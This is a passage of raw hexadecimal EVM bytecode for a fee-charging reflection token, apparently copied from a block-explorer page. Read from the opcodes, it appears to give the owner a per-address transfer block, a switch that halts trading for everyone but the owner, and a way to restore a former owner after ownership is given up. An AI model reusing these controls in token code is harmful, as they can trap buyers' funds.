fffffffffffffffffffff160217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060108054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561233d5780601f106123125761010080835404028352916020019161233d565b820191906000526020600020905b81548152906001019060200180831161232057829003601f168201915b5050505050905090565b600061240a6123546129f6565b8461240585604051806060016040528060258152602001613b89602591396005600061237e6129f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b6129fe565b6001905092915050565b61241c6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156124ee575060318111155b612560576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d61726b6574696e674665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060138190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006125a86125a16129f6565b8484612bf5565b6001905092915050565b6125ba6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461267a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6126dd6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461279d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156127af575060318111155b612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6c69717569646974794665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060148190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808314156128ef576000905061295c565b600082840290508284828161290057fe5b0414612957576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613a6e6021913960400191505060405180910390fd5b809150505b92915050565b60006129a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613545565b905092915050565b60006129ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613357565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613b056024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806139fa6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613ae06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806139ad6023913960400191505060405180910390fd5b60008111612d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613ab76029913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dfb5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e525760008114612e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600a60009054906101000a900460ff1615151480612ea65750612e7761227c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80612ee35750612eb461227c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156132ed57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612f8b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561313e57612ffc81604051806060016040528060268152602001613a1c60269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36132e8565b6131aa81604051806060016040528060268152602001613a1c60269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b613352565b60011515600a60009054906101000a900460ff16151514613351576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000838311158290613404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133c95780820151818401526020810190506133ae565b50505050905090810190601f1680156133f65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061342461360b565b9150915061343b818361296290919063ffffffff16565b9250505090565b6000808284019050838110156134c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006134fb8a6012546134f660145460135461344290919063ffffffff16565b6138b8565b925092509250600061350b613417565b9050600080600061351d8e878661394e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080831182906135f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135b657808201518184015260208101905061359b565b50505050905090810190601f1680156135e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816135fd57fe5b049050809150509392505050565b6000806000600b549050600068056bc75e2d63100000905060005b60098054905081101561386d5782600260006009848154811061364557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061372c57508160036000600984815481106136c457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561374a57600b5468056bc75e2d63100000945094505050506138b4565b6137d3600260006009848154811061375e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846129ac90919063ffffffff16565b925061385e60036000600984815481106137e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129ac90919063ffffffff16565b91508080600101915050613626565b5061388c68056bc75e2d63100000600b5461296290919063ffffffff16565b8210156138ab57600b5468056bc75e2d631000009350935050506138b4565b81819350935050505b9091565b6000806000806138e460646138d6888a6128dc90919063ffffffff16565b61296290919063ffffffff16565b9050600061390e6064613900888b6128dc90919063ffffffff16565b61296290919063ffffffff16565b9050600061393787613929858c6129ac90919063ffffffff16565b6129ac90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061396785886128dc90919063ffffffff16565b9050600061397e86886128dc90919063ffffffff16565b9050600061399582846129ac90919063ffffffff16565b90508281839550955095505050509350935093905056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20746f74616c20316539536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736e756d546f6b656e7353656c6c546f416464546f4c69717569646974792073686f756c642062652067726561746572207468616e20746f74616c2031653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220784dc3a0b91b116e42aa6e88b01cd2a067a500fa13be99cb5cb0b9b6c21f5b4364736f6c63430007000033416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e73536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f770000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

Deployed Bytecode

0x6080604052600436106101fd5760003560e01c80635880b8731161010d57806395d89b41116100a0578063a9059cbb1161006f578063a9059cbb14610b1d578063af9549e014610b8e578063bcd6d44614610beb578063cbc740aa14610c26578063dd62ed3e14610c6757610204565b806395d89b41146109a0578063a457c2d714610a30578063a52fe9bb14610aa1578063a55626cb14610adc57610204565b80637a997d7e116100dc5780637a997d7e1461087a578063880ad0af146108e157806388f82020146108f85780638da5cb5b1461095f57610204565b80635880b873146107385780635de9ca9f1461077357806370a08231146107c457806377dd50e31461082957610204565b806330599fc511610190578063395093511161015f57806339509351146105875780634549b039146105f85780634a74bb021461065357806352390c02146106805780635342acb4146106d157610204565b806330599fc5146104b6578063313ce567146104f15780633685d4191461051f578063373f0a041461057057610204565b80631bbae6e0116101cc5780631bbae6e0146103605780631decaadc1461039b57806323b872dd146103d65780632d8381191461046757610204565b806306fdde0314610209578063095ea7b31461029957806313114a9d1461030a57806318160ddd1461033557610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610cec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025e578082015181840152602081019050610243565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a557600080fd5b506102f2600480360360408110156102bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8e565b60405180821515815260200191505060405180910390f35b34801561031657600080fd5b5061031f610dac565b6040518082815260200191505060405180910390f35b34801561034157600080fd5b5061034a610db6565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103996004803603602081101561038357600080fd5b8101908080359060200190929190505050610dc7565b005b3480156103a757600080fd5b506103d4600480360360208110156103be57600080fd5b8101908080359060200190929190505050610ef6565b005b3480156103e257600080fd5b5061044f600480360360608110156103f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561047357600080fd5b506104a06004803603602081101561048a57600080fd5b81019080803590602001909291905050506110fe565b6040518082815260200191505060405180910390f35b3480156104c257600080fd5b506104ef600480360360208110156104d957600080fd5b8101908080359060200190929190505050611182565b005b3480156104fd57600080fd5b50610506611271565b604051808260ff16815260200191505060405180910390f35b34801561052b57600080fd5b5061056e6004803603602081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611288565b005b34801561057c57600080fd5b50610585611612565b005b34801561059357600080fd5b506105e0600480360360408110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611734565b60405180821515815260200191505060405180910390f35b34801561060457600080fd5b5061063d6004803603604081101561061b57600080fd5b81019080803590602001909291908035151590602001909291905050506117e7565b6040518082815260200191505060405180910390f35b34801561065f57600080fd5b506106686118a5565b60405180821515815260200191505060405180910390f35b34801561068c57600080fd5b506106cf600480360360208110156106a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bc565b005b3480156106dd57600080fd5b50610720600480360360208110156106f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c6f565b60405180821515815260200191505060405180910390f35b34801561074457600080fd5b506107716004803603602081101561075b57600080fd5b8101908080359060200190929190505050611cc5565b005b34801561077f57600080fd5b506107c26004803603602081101561079657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b005b3480156107d057600080fd5b50610813600480360360208110156107e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f3e565b6040518082815260200191505060405180910390f35b34801561083557600080fd5b506108786004803603602081101561084c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f87565b005b34801561088657600080fd5b506108c96004803603602081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120aa565b60405180821515815260200191505060405180910390f35b3480156108ed57600080fd5b506108f6612100565b005b34801561090457600080fd5b506109476004803603602081101561091b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612226565b60405180821515815260200191505060405180910390f35b34801561096b57600080fd5b5061097461227c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ac57600080fd5b506109b56122a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f55780820151818401526020810190506109da565b50505050905090810190601f168015610a225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3c57600080fd5b50610a8960048036036040811015610a5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612347565b60405180821515815260200191505060405180910390f35b348015610aad57600080fd5b50610ada60048036036020811015610ac457600080fd5b8101908080359060200190929190505050612414565b005b348015610ae857600080fd5b50610af161256a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2957600080fd5b50610b7660048036036040811015610b4057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612594565b60405180821515815260200191505060405180910390f35b348015610b9a57600080fd5b50610be960048036036040811015610bb157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506125b2565b005b348015610bf757600080fd5b50610c2460048036036020811015610c0e57600080fd5b81019080803590602001909291905050506126d5565b005b348015610c3257600080fd5b50610c3b61282b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c7357600080fd5b50610cd660048036036040811015610c8a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612855565b6040518082815260200191505060405180910390f35b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d845780601f10610d5957610100808354040283529160200191610d84565b820191906000526020600020905b815481529060010190602001808311610d6757829003601f168201915b5050505050905090565b6000610da2610d9b6129f6565b84846129fe565b6001905092915050565b6000600d54905090565b600068056bc75e2d63100000905090565b610dcf6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610eec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613a42602c913960400191505060405180910390fd5b80601c8190555050565b610efe6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca0081101561101b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613b29603e913960400191505060405180910390fd5b80601d8190555050565b6000611032848484612bf5565b6110f38461103e6129f6565b6110ee85604051806060016040528060288152602001613a8f60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006110a46129f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b6129fe565b600190509392505050565b6000600b5482111561115b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806139d0602a913960400191505060405180910390fd5b6000611165613417565b905061117a818461296290919063ffffffff16565b915050919050565b61118a6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61125c3061125661227c565b836129fe565b61126e3061126861227c565b83612bf5565b50565b6000601160009054906101000a900460ff16905090565b6112906129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60098054905081101561160e578173ffffffffffffffffffffffffffffffffffffffff166009828154811061144357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116015760096001600980549050038154811061149f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106114d757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806115c757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561160e565b8080600101915050611412565b5050565b61161a6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611716576000600a60006101000a81548160ff021916908315150217905550611732565b6001600a60006101000a81548160ff0219169083151502179055505b565b60006117dd6117416129f6565b846117d885600560006117526129f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344290919063ffffffff16565b6129fe565b6001905092915050565b600068056bc75e2d63100000831115611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611888576000611878846134ca565b505050505090508091505061189f565b6000611893846134ca565b50505050915050809150505b92915050565b6000600a60009054906101000a900460ff16905090565b6118c46129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611984576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613b676022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611add576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611bb157611b6d600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fe565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611ccd6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015611d9f575060318111155b611e11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20343900000000000081525060200191505060405180910390fd5b8060128190555050565b611e236129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ee3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611f8f6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461204f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206973207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060108054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561233d5780601f106123125761010080835404028352916020019161233d565b820191906000526020600020905b81548152906001019060200180831161232057829003601f168201915b5050505050905090565b600061240a6123546129f6565b8461240585604051806060016040528060258152602001613b89602591396005600061237e6129f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b6129fe565b6001905092915050565b61241c6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156124ee575060318111155b612560576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d61726b6574696e674665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060138190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006125a86125a16129f6565b8484612bf5565b6001905092915050565b6125ba6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461267a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6126dd6129f6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461279d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156127af575060318111155b612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6c69717569646974794665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060148190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffff